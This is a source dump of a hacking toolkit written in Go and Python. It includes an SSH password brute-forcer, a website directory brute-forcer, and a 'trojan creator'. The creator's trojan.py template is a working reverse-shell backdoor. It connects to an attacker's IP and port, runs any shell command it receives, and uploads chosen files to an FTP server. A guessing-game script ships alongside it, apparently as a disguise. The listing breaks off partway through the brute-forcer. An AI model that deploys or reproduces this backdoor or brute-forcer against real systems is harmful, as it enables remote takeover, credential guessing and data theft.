├── assets ├── chatroom.png ├── sniffer.png ├── main-view.png ├── userrecon.png ├── port-scanner.png ├── site-mapper.png ├── ssh-bruteforce.png └── trojan-creator.png ├── go.mod ├── pkg ├── console │ ├── scan.go │ ├── fmt.go │ ├── clear.go │ ├── error.go │ ├── print.go │ └── data.go ├── jsonUtils │ └── jsonUtils.go ├── system │ └── system.go ├── files │ └── read.go ├── progressbar │ └── progressbar.go ├── tcp │ └── tcpserver.go └── ascii │ ├── ascii.go │ └── banners.go ├── go.sum ├── internal ├── sniffer │ ├── sniffer.go │ └── sniffer.py ├── trojanCreator │ ├── utils │ │ ├── game.py │ │ └── trojan.py │ └── trojanCreator.go ├── chat │ ├── chat.go │ ├── client.go │ └── server.go ├── siteMapper │ └── siteMapper.go ├── bruteforce │ └── bruteforce.go ├── portScanner │ └── portScanner.go ├── findConnected │ └── findConnected.go └── userRecon │ └── userRecon.go ├── update.sh ├── setup.sh ├── install.sh ├── README.md ├── ians.go ├── utils ├── little_dictionary.txt └── common_ports.json └── LICENSE /assets/chatroom.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/giovanni-iannaccone/ians/HEAD/assets/chatroom.png -------------------------------------------------------------------------------- /assets/sniffer.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/giovanni-iannaccone/ians/HEAD/assets/sniffer.png -------------------------------------------------------------------------------- /assets/main-view.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/giovanni-iannaccone/ians/HEAD/assets/main-view.png -------------------------------------------------------------------------------- /assets/userrecon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/giovanni-iannaccone/ians/HEAD/assets/userrecon.png -------------------------------------------------------------------------------- /assets/port-scanner.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/giovanni-iannaccone/ians/HEAD/assets/port-scanner.png -------------------------------------------------------------------------------- /assets/site-mapper.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/giovanni-iannaccone/ians/HEAD/assets/site-mapper.png -------------------------------------------------------------------------------- /assets/ssh-bruteforce.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/giovanni-iannaccone/ians/HEAD/assets/ssh-bruteforce.png -------------------------------------------------------------------------------- /assets/trojan-creator.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/giovanni-iannaccone/ians/HEAD/assets/trojan-creator.png -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/giovanni-iannaccone/ians 2 | 3 | go 1.24.0 4 | 5 | toolchain go1.24.6 6 | 7 | require ( 8 | golang.org/x/crypto v0.42.0 9 | golang.org/x/sys v0.36.0 10 | ) 11 | -------------------------------------------------------------------------------- /pkg/console/scan.go: -------------------------------------------------------------------------------- 1 | package console 2 | 3 | import ( 4 | "bufio" 5 | "os" 6 | ) 7 | 8 | func Scan(buffer *string) { 9 | scanner := bufio.NewScanner(os.Stdin) 10 | scanner.Scan() 11 | 12 | *buffer = scanner.Text() 13 | } -------------------------------------------------------------------------------- /pkg/console/fmt.go: -------------------------------------------------------------------------------- 1 | package console 2 | 3 | func FmtArray(array []string) string { 4 | var fmt string = "[" 5 | 6 | for _, element := range array { 7 | fmt = fmt + "\"" + element + "\"," 8 | } 9 | 10 | return fmt + "]" 11 | } -------------------------------------------------------------------------------- /pkg/console/clear.go: -------------------------------------------------------------------------------- 1 | package console 2 | 3 | import ( 4 | "github.com/giovanni-iannaccone/ians/pkg/system" 5 | ) 6 | 7 | func Clear() { 8 | if system.Name == "windows" { 9 | system.Exec("cls") 10 | } else { 11 | system.Exec("clear") 12 | } 13 | } -------------------------------------------------------------------------------- /pkg/console/error.go: -------------------------------------------------------------------------------- 1 | package console 2 | 3 | import ( 4 | "fmt" 5 | "os" 6 | ) 7 | 8 | func Error(format string, args ...any) { 9 | fmt.Print(BoldRed) 10 | fmt.Printf("[ERROR] " + format + "\n", args) 11 | fmt.Print(Reset) 12 | } 13 | 14 | func Fatal(format string, args ...any) { 15 | Error(format, args...) 16 | os.Exit(1) 17 | } -------------------------------------------------------------------------------- /pkg/console/print.go: -------------------------------------------------------------------------------- 1 | package console 2 | 3 | import ( 4 | "fmt" 5 | ) 6 | 7 | func Print(color string, format string, args ...any) { 8 | fmt.Print(color) 9 | fmt.Printf(format, args...) 10 | fmt.Print(Reset) 11 | } 12 | 13 | func Println(color string, format string, args ...any) { 14 | Print(color, format, args...) 15 | fmt.Println() 16 | } -------------------------------------------------------------------------------- /pkg/jsonUtils/jsonUtils.go: -------------------------------------------------------------------------------- 1 | package jsonUtils 2 | 3 | import ( 4 | "encoding/json" 5 | "os" 6 | ) 7 | 8 | func ExtractData(src string, dst *map[string]string) error { 9 | file, err := os.Open(src) 10 | if err != nil { 11 | return err 12 | } 13 | 14 | defer file.Close() 15 | 16 | decoder := json.NewDecoder(file) 17 | return decoder.Decode(dst) 18 | } -------------------------------------------------------------------------------- /pkg/system/system.go: -------------------------------------------------------------------------------- 1 | package system 2 | 3 | import ( 4 | "os" 5 | "os/exec" 6 | "runtime" 7 | "strings" 8 | ) 9 | 10 | var Name string = runtime.GOOS 11 | 12 | func Exec(command string) error { 13 | splitArray := strings.Split(command, " ") 14 | main := splitArray[0] 15 | args := splitArray[1:] 16 | var cmd *exec.Cmd = exec.Command(main, args...) 17 | 18 | cmd.Stdout = os.Stdout 19 | 20 | return cmd.Run() 21 | } -------------------------------------------------------------------------------- /pkg/files/read.go: -------------------------------------------------------------------------------- 1 | package files 2 | 3 | import ( 4 | "os" 5 | "strings" 6 | 7 | "github.com/giovanni-iannaccone/ians/pkg/console" 8 | ) 9 | 10 | func ReadLineByLine(path string, printErrors bool) []string { 11 | buffer, err := os.ReadFile(path) 12 | if err != nil { 13 | if printErrors { 14 | console.Error(err.Error()) 15 | } else { 16 | return nil 17 | } 18 | } 19 | 20 | return strings.Split(string(buffer), "\n") 21 | } -------------------------------------------------------------------------------- /pkg/console/data.go: -------------------------------------------------------------------------------- 1 | package console 2 | 3 | const Reset = "\033[0m" 4 | const Red = "\033[31m" 5 | const Green = "\033[32m" 6 | const Yellow = "\033[33m" 7 | const Blue = "\033[34m" 8 | const Cyan = "\033[36m" 9 | const Gray = "\033[37m" 10 | const White = "\033[97m" 11 | 12 | const BoldGreen = "\033[1;32m" 13 | const BoldYellow = "\033[1;33m" 14 | const BoldRed = "\033[1;31m" 15 | const BoldBlue = "\033[1;34m" 16 | const BoldWhite = "\033[1;97m" 17 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | golang.org/x/crypto v0.42.0 h1:chiH31gIWm57EkTXpwnqf8qeuMUi0yekh6mT2AvFlqI= 2 | golang.org/x/crypto v0.42.0/go.mod h1:4+rDnOTJhQCx2q7/j6rAN5XDw8kPjeaXEUR2eL94ix8= 3 | golang.org/x/net v0.21.0/go.mod h1:bIjVDfnllIU7BJ2DNgfnXvpSvtn8VRwhlsaeUTyUS44= 4 | golang.org/x/sys v0.36.0/go.mod h1:OgkHotnGiDImocRcuBABYBEXf8A9a87e/uXjp9XT3ks= 5 | golang.org/x/term v0.32.0/go.mod h1:uZG1FhGx848Sqfsq4/DlJr3xGGsYMu/L5GW4abiaEPQ= 6 | golang.org/x/text v0.26.0/go.mod h1:QK15LZJUUQVJxhz7wXgxSy/CJaTFjd0G+YLonydOVQA= 7 | -------------------------------------------------------------------------------- /pkg/progressbar/progressbar.go: -------------------------------------------------------------------------------- 1 | package progressbar 2 | 3 | import ( 4 | "strings" 5 | 6 | "github.com/giovanni-iannaccone/ians/pkg/console" 7 | ) 8 | 9 | func DisplayProgressBar(max uint, ch chan bool) { 10 | const barMaxWidth uint = 38 11 | var loopIndex uint = 0 12 | 13 | for <- ch { 14 | loopIndex += 1 15 | 16 | var barWidth uint = barMaxWidth * loopIndex / max 17 | var bar string = strings.Repeat("▉", int(barWidth)) + strings.Repeat("-", int(barMaxWidth - barWidth)) 18 | var progress float32 = float32(loopIndex) / float32(max) * 100 19 | 20 | console.Print(console.BoldBlue, "[%s] %.1f \r", bar, progress) 21 | 22 | if progress >= 100.0 { 23 | return 24 | } 25 | } 26 | } -------------------------------------------------------------------------------- /internal/sniffer/sniffer.go: -------------------------------------------------------------------------------- 1 | package sniffer 2 | 3 | import ( 4 | "fmt" 5 | 6 | "github.com/giovanni-iannaccone/ians/pkg/ascii" 7 | "github.com/giovanni-iannaccone/ians/pkg/console" 8 | "github.com/giovanni-iannaccone/ians/pkg/system" 9 | ) 10 | 11 | func run(ip *string) error { 12 | return system.Exec("python3 internal/sniffer/sniffer.py " + *ip) 13 | } 14 | 15 | func Initialize() { 16 | var ip string 17 | ascii.Sniffer() 18 | console.Println(console.BoldRed, "\n\t\t A simple sniffer\n") 19 | 20 | console.Print(console.BoldBlue, "[+] " + console.Reset + "Type the address: ") 21 | fmt.Scanf("%s", &ip) 22 | 23 | if err := run(&ip); err != nil { 24 | console.Error("Error sniffing: %s", err.Error()) 25 | } 26 | 27 | fmt.Scanln() 28 | } -------------------------------------------------------------------------------- /pkg/tcp/tcpserver.go: -------------------------------------------------------------------------------- 1 | package tcp 2 | 3 | import ( 4 | "fmt" 5 | "net" 6 | ) 7 | 8 | func StartTcpServer(ip string, port uint, queueSize int, onConnection func(net.Conn)) error { 9 | ln, err := net.Listen("tcp", fmt.Sprintf("%s:%d", ip, port)) 10 | if err != nil { 11 | return err 12 | } 13 | 14 | for i := 0; i < queueSize; i++ { 15 | conn, _ := ln.Accept() 16 | onConnection(conn) 17 | } 18 | 19 | return nil 20 | } 21 | 22 | func StartTcpGoroutineServer(ip string, port uint, queueSize int, onConnection func(net.Conn)) error { 23 | ln, err := net.Listen("tcp", fmt.Sprintf("%s:%d", ip, port)) 24 | if err != nil { 25 | return err 26 | } 27 | 28 | for i := 0; i < queueSize; i++ { 29 | conn, _ := ln.Accept() 30 | go onConnection(conn) 31 | } 32 | 33 | return nil 34 | } -------------------------------------------------------------------------------- /pkg/ascii/ascii.go: -------------------------------------------------------------------------------- 1 | package ascii 2 | 3 | import ( 4 | "github.com/giovanni-iannaccone/ians/pkg/console" 5 | ) 6 | 7 | func Bruteforce() { 8 | console.Print(console.BoldBlue, bruteforceBanner) 9 | } 10 | 11 | func Chat() { 12 | console.Print(console.BoldYellow, chatBanner) 13 | } 14 | 15 | func FindConnected() { 16 | console.Print(console.BoldGreen, findConnectedBanner) 17 | } 18 | 19 | func Info() { 20 | console.Print(console.BoldWhite, infoBanner) 21 | } 22 | 23 | func Main(version string) { 24 | console.Print(console.BoldGreen, mainBanner, version) 25 | } 26 | 27 | func PortScanner() { 28 | console.Print(console.BoldBlue, portScannerBanner) 29 | } 30 | 31 | func SiteMapper() { 32 | console.Print(console.BoldBlue, siteMapperBanner) 33 | } 34 | 35 | func Sniffer() { 36 | console.Print(console.BoldRed, snifferBanner) 37 | } 38 | 39 | func TrojanCreator() { 40 | console.Print(console.BoldYellow, trojanCreatorBanner) 41 | } 42 | 43 | func UserRecon() { 44 | console.Print(console.BoldBlue, userReconBanner) 45 | } 46 | 47 | func Warning() { 48 | console.Print(console.BoldRed, warningBanner) 49 | } -------------------------------------------------------------------------------- /internal/trojanCreator/utils/game.py: -------------------------------------------------------------------------------- 1 | import os 2 | import random 3 | 4 | def clearScreen() -> None: 5 | os.system("cls" if os.name == "nt" else "clear") 6 | 7 | def main() -> None: 8 | guessed_numbers = 0 9 | while True: 10 | guess = 0 11 | number = random.randint(1, 1000) 12 | count = 0 13 | 14 | print("I've just generated a random number, now you have to guess it") 15 | while guess != number: 16 | guess = int(input("Enter the number: ")) 17 | if guess > 1000: 18 | print("Type an int number smaller than 1000") 19 | continue 20 | 21 | if guess == number: 22 | print("Correct, well done") 23 | 24 | elif guess < number: 25 | print("The number is bigger") 26 | 27 | elif guess > number: 28 | print("The number is smaller") 29 | 30 | count += 1 31 | 32 | guessed_numbers += 1 33 | 34 | print("You took " + str(count) + " attempts !!! ") 35 | print(f"Till now, you've guessed {guessed_numbers} numbers") 36 | input("Press enter to guess the next number") 37 | clearScreen() -------------------------------------------------------------------------------- /update.sh: -------------------------------------------------------------------------------- 1 | blue="\e[34m" 2 | 3 | clear 4 | echo -e 5 | echo -e "$blue ██╗ ██╗██████╗ ██████╗ █████╗ ████████╗██╗███╗ ██╗ ██████╗ $default" 6 | echo -e "$blue ██║ ██║██╔══██╗██╔══██╗██╔══██╗╚══██╔══╝██║████╗ ██║██╔════╝ $default" 7 | echo -e "$blue ██║ ██║██████╔╝██║ ██║███████║ ██║ ██║██╔██╗ ██║██║ ███╗ $default" 8 | echo -e "$blue ██║ ██║██╔═══╝ ██║ ██║██╔══██║ ██║ ██║██║╚██╗██║██║ ██║ $default" 9 | echo -e "$blue ╚██████╔╝██║ ██████╔╝██║ ██║ ██║ ██║██║ ╚████║╚██████╔╝██╗██╗██╗ $default" 10 | echo -e "$blue ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝ ╚═╝╚═╝╚═╝ $default" 11 | echo -e 12 | 13 | #checking for internet connection 14 | echo -e "$yellow [ * ] Checking for internet connection $default" 15 | if ping -q -c 1 -W 1 8.8.8.8 > /dev/null; 16 | then 17 | echo -e "$green [ ✔ ]::[Internet Connection]: ONLINE $default" 18 | sleep 0.5 19 | else 20 | echo -e "$red [ X ]::[Internet Connection]: OFFLINE $default" 21 | sleep 0.5 22 | exit 1 23 | fi 24 | 25 | #checking for git 26 | echo -e "$yellow [ * ] Checking for git $default" 27 | if git > /dev/null; 28 | then 29 | echo -e "$green [ ✔ ]::[git]: found $default" 30 | sleep 0.5 31 | else 32 | echo -e "$red [ X ]::[git] not found $default" 33 | apt install git || pacman -S install git 34 | 35 | chmod +x /etc/ 36 | chmod +x /usr/share/doc 37 | cd .. 38 | rm -rf ians 39 | git clone https://github.com/giovanni-iannaccone/ians 40 | chmod +x install.sh 41 | echo -e "$blue Installing the newest version" 42 | ./install.sh 43 | clear 44 | -------------------------------------------------------------------------------- /setup.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | blue="\e[34m" 3 | default="\e[0;0m" 4 | green="\033[92m" 5 | red="\e[1;31m" 6 | yellow="\e[0;33m" 7 | 8 | clear 9 | echo -e 10 | echo -e "$blue ██████╗██╗ ██╗███████╗ ██████╗██╗ ██╗██╗███╗ ██╗ ██████╗ $default" 11 | echo -e "$blue ██╔════╝██║ ██║██╔════╝██╔════╝██║ ██╔╝██║████╗ ██║██╔════╝ $default" 12 | echo -e "$blue ██║ ███████║█████╗ ██║ █████╔╝ ██║██╔██╗ ██║██║ ███╗ $default" 13 | echo -e "$blue ██║ ██╔══██║██╔══╝ ██║ ██╔═██╗ ██║██║╚██╗██║██║ ██║ $default" 14 | echo -e "$blue ╚██████╗██║ ██║███████╗╚██████╗██║ ██╗██║██║ ╚████║╚██████╔╝██╗██╗██╗ $default" 15 | echo -e "$blue ╚═════╝╚═╝ ╚═╝╚══════╝ ╚═════╝╚═╝ ╚═╝╚═╝╚═╝ ╚═══╝ ╚═════╝ ╚═╝╚═╝╚═╝ $default" 16 | echo -e 17 | echo -e "$blue -------------------------- Giovanni Iannaccone -------------------------- $default" 18 | 19 | echo -e 20 | sleep 1 21 | 22 | #checking for root user 23 | echo -e "$yellow [ * ] Checking for root user $default" 24 | echo -e "$default [User: $USER]" 25 | if [[ $EUID -ne 0 ]]; then 26 | echo -ne "$red [ x ]::[User]: ( no root ) $default" 27 | sleep 0.5 28 | echo -e "$default" 29 | exit 1 30 | else 31 | echo -e "$green [ ✔ ]::[User]: ROOT $default" 32 | sleep 0.5 33 | fi 34 | 35 | #checking for internet connection 36 | echo -e "$yellow [ * ] Checking for internet connection $default" 37 | if ping -q -c 1 -W 1 8.8.8.8 > /dev/null; 38 | then 39 | echo -e "$green [ ✔ ]::[Internet Connection]: ONLINE $default" 40 | sleep 0.5 41 | else 42 | echo -e "$red [ X ]::[Internet Connection]: OFFLINE $default" 43 | sleep 0.5 44 | echo -e "$default" 45 | exit 1 46 | fi 47 | 48 | echo -e "\n$blue [-- Starting $ IANS $ --] $default" 49 | sleep 1 50 | -------------------------------------------------------------------------------- /internal/chat/chat.go: -------------------------------------------------------------------------------- 1 | package chat 2 | 3 | import ( 4 | "fmt" 5 | 6 | "github.com/giovanni-iannaccone/ians/pkg/ascii" 7 | "github.com/giovanni-iannaccone/ians/pkg/console" 8 | ) 9 | 10 | func clientChoice() { 11 | var ip string 12 | var port uint 13 | var nickname string 14 | 15 | console.Print(console.BoldBlue, "[+] " + console.Reset + "Room's ip: ") 16 | fmt.Scanf("%s", &ip) 17 | 18 | console.Print(console.BoldBlue, "[+] " + console.Reset + "Room's port: ") 19 | fmt.Scanf("%d", &port) 20 | 21 | console.Print(console.BoldBlue, "[+] " + console.Reset + "Your nickname: ") 22 | fmt.Scanf("%s", &nickname) 23 | 24 | startClient(&ip, port, &nickname) 25 | } 26 | 27 | func serverChoice() { 28 | var ip string 29 | var port uint 30 | var pass string 31 | var passwd string = "" 32 | 33 | console.Print(console.BoldBlue, "[+] " + console.Reset + "Your ip: ") 34 | fmt.Scanf("%d", &ip) 35 | 36 | console.Print(console.BoldBlue, "[+] " + console.Reset + "Your port: ") 37 | fmt.Scanf("%d", &port) 38 | 39 | console.Print(console.Reset, "Do you want to set a password ? [y/n] ") 40 | fmt.Scanf("%s", pass) 41 | 42 | if pass == "y" || pass == "Y" { 43 | console.Print(console.BoldBlue, "[+] " + console.Reset + "Password: ") 44 | fmt.Scanf("%s", &passwd) 45 | } 46 | 47 | go startServer(ip, port, &passwd) 48 | startShell() 49 | } 50 | 51 | func Initialize() { 52 | var option uint 53 | ascii.Chat() 54 | 55 | console.Println(console.BoldBlue, "[1] " + console.Reset + "To host a room") 56 | console.Println(console.BoldBlue, "[2] " + console.Reset + "To enter a room") 57 | 58 | console.Print(console.Reset, "\n> ") 59 | fmt.Scanf("%d", &option) 60 | 61 | if option == 1 { 62 | serverChoice() 63 | } else { 64 | clientChoice() 65 | } 66 | } -------------------------------------------------------------------------------- /internal/chat/client.go: -------------------------------------------------------------------------------- 1 | package chat 2 | 3 | import ( 4 | "fmt" 5 | "net" 6 | "reflect" 7 | 8 | "github.com/giovanni-iannaccone/ians/pkg/console" 9 | ) 10 | 11 | func connect(ip string, port uint, needPasswd *bool) (net.Conn, error) { 12 | passwd := make([]byte, 4) 13 | conn, err := net.Dial("tcp", fmt.Sprintf("%s:%d", ip, port)) 14 | if err != nil { 15 | return nil, err 16 | } 17 | 18 | n, err := conn.Read(passwd) 19 | if err != nil { 20 | conn.Close() 21 | return nil, err 22 | } 23 | 24 | if reflect.DeepEqual(passwd[:n], PASSWORD_SET) { 25 | *needPasswd = true 26 | return conn, nil 27 | } 28 | 29 | return conn, nil 30 | } 31 | 32 | func receive(server net.Conn) { 33 | var msg = make([]byte, 1024) 34 | 35 | for { 36 | if n, err := server.Read(msg); err == nil && n > 0 { 37 | fmt.Printf("\r%s\n> ", msg[:n]) 38 | } 39 | } 40 | } 41 | 42 | func sendAndReceive(server net.Conn) error { 43 | var message string 44 | go receive(server) 45 | 46 | for { 47 | fmt.Printf("> ") 48 | console.Scan(&message) 49 | server.Write([]byte(message)) 50 | } 51 | } 52 | 53 | func startClient(ip *string, port uint, nickname *string) { 54 | var needPasswd bool = false 55 | server, err := connect(*ip, port, &needPasswd) 56 | 57 | if err != nil { 58 | console.Fatal(err.Error()) 59 | 60 | } else if needPasswd { 61 | var buffer []byte 62 | var passwd string 63 | 64 | console.Print(console.BoldBlue, "[+] " + console.Reset + "Password: ") 65 | fmt.Scanf("%s", &passwd) 66 | 67 | server.Write([]byte(passwd)) 68 | server.Read(buffer) 69 | console.Println(console.Reset, "%s", string(buffer)) 70 | 71 | for reflect.DeepEqual(buffer, WRONG_PASSWORD) { 72 | console.Print(console.BoldBlue, "[+] " + console.Reset + "Password: ") 73 | fmt.Scanf("%s", &passwd) 74 | 75 | server.Write([]byte(passwd)) 76 | server.Read(buffer) 77 | } 78 | } 79 | 80 | server.Write([]byte(*nickname)) 81 | sendAndReceive(server) 82 | } 83 | -------------------------------------------------------------------------------- /internal/trojanCreator/utils/trojan.py: -------------------------------------------------------------------------------- 1 | 2 | 3 | import ftplib 4 | import os 5 | import socket 6 | import subprocess 7 | import sys 8 | import threading 9 | 10 | def ftp_send(file) -> None: 11 | ftp = ftplib.FTP({str(ftp_credentials[0])}) 12 | ftp.login({str(ftp_credentials[1])}, {str(ftp_credentials[2])}) 13 | ftp.cwd("/pub/") 14 | ftp.storebinary("STOR " + os.path.basename(file), 15 | open(file, "rb"), 1024) 16 | ftp.quit() 17 | 18 | def trojan() -> None: 19 | global client 20 | 21 | client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 22 | try: 23 | client.connect((IP, PORT)) 24 | 25 | except: 26 | pass 27 | 28 | else: 29 | terminal_mode = True 30 | client.send(sys.platform.encode()) 31 | while True: 32 | try: 33 | server_command = client.recv(8192).decode() 34 | 35 | if server_command == "cmdon": 36 | terminal_mode = True 37 | client.send(b"Terminal mode activeted") 38 | continue 39 | 40 | elif server_command == "cmdoff": 41 | terminal_mode = False 42 | client.send(b"Terminal mode disactiveted") 43 | continue 44 | 45 | if terminal_mode: 46 | output = subprocess.check_output(server_command, shell=True) 47 | client.send(output if output != b'' else b"Done") 48 | 49 | else: 50 | server_command = server_command.split() 51 | 52 | if server_command[0] == "ftp::recv": 53 | ftp_send(server_command[1]) 54 | 55 | elif server_command[0] == "ftp::cd": 56 | ftplib.FTP.cwd(server_command[1]) 57 | 58 | else: 59 | client.send(b"Command not found...") 60 | 61 | except Exception as e: 62 | try: 63 | client.send(str(e).encode()) 64 | except: 65 | pass 66 | 67 | if __name__ == "__main__": 68 | pass -------------------------------------------------------------------------------- /install.sh: -------------------------------------------------------------------------------- 1 | blue="\e[34m" 2 | default="\e[0;0m" 3 | green="\033[92m" 4 | red="\e[1;31m" 5 | yellow="\e[0;33m" 6 | 7 | clear 8 | echo -e 9 | echo -e "$blue ██╗███╗ ██╗███████╗████████╗ █████╗ ██╗ ██╗ ██╗███╗ ██╗ ██████╗ $default" 10 | echo -e "$blue ██║████╗ ██║██╔════╝╚══██╔══╝██╔══██╗██║ ██║ ██║████╗ ██║██╔════╝ $default" 11 | echo -e "$blue ██║██╔██╗ ██║███████╗ ██║ ███████║██║ ██║ ██║██╔██╗ ██║██║ ███╗ $default" 12 | echo -e "$blue ██║██║╚██╗██║╚════██║ ██║ ██╔══██║██║ ██║ ██║██║╚██╗██║██║ ██║ $default" 13 | echo -e "$blue ██║██║ ╚████║███████║ ██║ ██║ ██║███████╗███████╗██║██║ ╚████║╚██████╔╝██╗██╗██╗ $default" 14 | echo -e "$blue ╚═╝╚═╝ ╚═══╝╚══════╝ ╚═╝ ╚═╝ ╚═╝╚══════╝╚══════╝╚═╝╚═╝ ╚═══╝ ╚═════╝ ╚═╝╚═╝╚═╝ $default" 15 | 16 | echo -e 17 | 18 | #checking for internet connection 19 | echo -e "$yellow [ * ] Checking for internet connection $default" 20 | if ping -q -c 1 -W 1 8.8.8.8 > /dev/null; 21 | then 22 | echo -e "$green [ X ]::[Internet Connection]: ONLINE $default" 23 | sleep 0.5 24 | else 25 | echo -e "$red [ ✔ ]::[Internet Connection]: OFFLINE $default" 26 | sleep 0.5 27 | exit 1 28 | fi 29 | 30 | #checking for golang 31 | echo -e "$yellow [ * ] Checking for golang $default" 32 | which go > /dev/null 2>&1 33 | if [ "$?" -eq "0" ]; then 34 | echo -e "$green [ ✔ ]::[Go]: found $default" 35 | sleep 1 36 | else 37 | echo -e "$red [ X ]::[Go]: go not found $default" 38 | sleep 1 39 | echo -e "$yellow [!]::[Installing golang...] $default" 40 | apt install golang-go || pacman -S go 41 | fi 42 | 43 | #install crypto/ssh 44 | cd internal/bruteforce 45 | go get https://golang.org/x/crypto/ssh 46 | cd ../.. 47 | 48 | #checking for python 49 | echo -e "$yellow [ * ] Checking for python $default" 50 | which python > /dev/null 2>&1 51 | if [ "$?" -eq "0" ]; then 52 | echo -e "$green [ ✔ ]::[Python]: found $default" 53 | sleep 1 54 | else 55 | echo -e "$red [ X ]::[Python]: python not found $default" 56 | sleep 1 57 | echo -e "$yellow [!]::[Installing Module Python...] $default" 58 | apt install python3 || pacman -S python3 59 | apt install pip || pacman -S pip 60 | apt install pip2 || pacman -S pip2 61 | pip2 install --upgrade pip 62 | fi 63 | 64 | echo -e "$blue Done, press ENTER to continue $default" 65 | read 66 | 67 | exit 0 68 | fi -------------------------------------------------------------------------------- /internal/siteMapper/siteMapper.go: -------------------------------------------------------------------------------- 1 | package siteMapper 2 | 3 | import ( 4 | "fmt" 5 | "net/http" 6 | "strings" 7 | 8 | "github.com/giovanni-iannaccone/ians/pkg/ascii" 9 | "github.com/giovanni-iannaccone/ians/pkg/console" 10 | "github.com/giovanni-iannaccone/ians/pkg/files" 11 | "github.com/giovanni-iannaccone/ians/pkg/progressbar" 12 | ) 13 | 14 | type submitFunction func(ch chan bool, prop properties, words *[]string) 15 | 16 | type properties struct { 17 | extensions []string 18 | target string 19 | } 20 | 21 | var STATUS_NOT_FOUND int = 404 22 | 23 | func existsSubdir(ch chan bool, prop properties, word string) error { 24 | defer func() { 25 | ch <- true 26 | }() 27 | 28 | var url string = prop.target + word 29 | resp, err := http.Get(url) 30 | if err != nil { 31 | return err 32 | } 33 | 34 | if resp.StatusCode != STATUS_NOT_FOUND { 35 | console.Println(console.BoldGreen, "%s: %d" + strings.Repeat(" ", 50) + "\n", word, resp.StatusCode) 36 | } 37 | 38 | resp.Body.Close() 39 | return nil 40 | } 41 | 42 | func run(prop properties, words *[]string, submitTasks submitFunction) error { 43 | var totalWords uint = uint(len(*words) * len(prop.extensions)) 44 | console.Println(console.Red, "%d words will be tryed", totalWords) 45 | 46 | ch := make(chan bool) 47 | go submitTasks(ch, prop, words) 48 | progressbar.DisplayProgressBar(totalWords, ch) 49 | 50 | return nil 51 | } 52 | 53 | func submitWords(ch chan bool, prop properties, words *[]string) { 54 | for _, word := range *words { 55 | for _, extension := range prop.extensions { 56 | go existsSubdir( 57 | ch, 58 | prop, 59 | word + extension, 60 | ) 61 | } 62 | } 63 | } 64 | 65 | func takeExtensions() []string { 66 | var extensions = []string{"", ".bak", ".html", ".inc", ".js", ".orig", ".php"} 67 | 68 | var option string 69 | console.Println(console.BoldBlue, "This are the default extensions: %s", console.FmtArray(extensions)) 70 | console.Print(console.Reset, "Do you want to use these ? [y/n] ") 71 | fmt.Scanf("%s", &option) 72 | 73 | if option != "y" && option != "Y" { 74 | var extensionsRaw string 75 | 76 | console.Print(console.BoldBlue, "[+] " + console.Reset + "Write your extensions separated by space: ") 77 | console.Scan(&extensionsRaw) 78 | extensions = strings.Split(extensionsRaw, " ") 79 | } 80 | 81 | return extensions 82 | } 83 | 84 | func Initialize() { 85 | ascii.SiteMapper() 86 | console.Println(console.BoldRed, "\t\tA site directories's bruteforce tool") 87 | 88 | var target string 89 | console.Print(console.BoldBlue, "[+] " + console.Reset + "Type the target: ") 90 | fmt.Scanf("%s", &target) 91 | 92 | var extensions []string = takeExtensions() 93 | 94 | var path string 95 | console.Print(console.BoldBlue, "[+] " + console.Reset + "Enter the wordlist's path: ") 96 | fmt.Scanf("%s", &path) 97 | 98 | words := files.ReadLineByLine(path, true) 99 | 100 | console.Println(console.Red, "\nMapper is ready, press ENTER to start...") 101 | fmt.Scanln() 102 | 103 | err := run(properties{extensions, target}, &words, submitWords) 104 | if err != nil { 105 | console.Error(err.Error()) 106 | } 107 | 108 | console.Println(console.Reset, "\n") 109 | fmt.Scanln() 110 | } -------------------------------------------------------------------------------- /internal/bruteforce/bruteforce.go: -------------------------------------------------------------------------------- 1 | package bruteforce 2 | 3 | import ( 4 | "fmt" 5 | "sync" 6 | "time" 7 | 8 | "github.com/giovanni-iannaccone/ians/pkg/ascii" 9 | "github.com/giovanni-iannaccone/ians/pkg/console" 10 | "github.com/giovanni-iannaccone/ians/pkg/files" 11 | 12 | "golang.org/x/crypto/ssh" 13 | ) 14 | 15 | var rightUsername string = "" 16 | var rightPassword string = "" 17 | 18 | var mtx sync.Mutex 19 | var stopped bool = false 20 | 21 | func bruteforce(host string, usernames *[]string, passwords *[]string) { 22 | var wg sync.WaitGroup 23 | 24 | for _, username := range *usernames { 25 | for _, password := range *passwords { 26 | if !stopped { 27 | wg.Add(1) 28 | go tryCombination(&wg, host, username, password) 29 | } 30 | } 31 | } 32 | 33 | wg.Wait() 34 | } 35 | 36 | func connect(host string, username string, password string) error { 37 | config := getConfig(username, password) 38 | conn, err := ssh.Dial("tcp", host, config) 39 | if err != nil { 40 | return err 41 | } 42 | 43 | conn.Close() 44 | return nil 45 | } 46 | 47 | func getConfig(username string, password string) *ssh.ClientConfig { 48 | return &ssh.ClientConfig{ 49 | User: username, 50 | Auth: []ssh.AuthMethod{ 51 | ssh.Password(password), 52 | }, 53 | HostKeyCallback: ssh.InsecureIgnoreHostKey(), 54 | Timeout: time.Duration(2 * time.Second), 55 | } 56 | } 57 | 58 | func tryCombination(wg *sync.WaitGroup, host string, username string, password string) { 59 | defer wg.Done() 60 | 61 | if !stopped { 62 | if err := connect(host, username, password); err != nil { 63 | return 64 | } 65 | 66 | mtx.Lock() 67 | 68 | rightUsername = username 69 | rightPassword = password 70 | stopped = true 71 | 72 | mtx.Unlock() 73 | 74 | } 75 | } 76 | 77 | func Initialize() { 78 | var host string 79 | var usernameWListPath string 80 | var passwordWListPath string 81 | 82 | passwordWList := make([]string, 1) 83 | usernameWList := make([]string, 1) 84 | 85 | ascii.Bruteforce() 86 | console.Println(console.BoldRed, "\t\t\tAn SSH Bruteforcer") 87 | 88 | 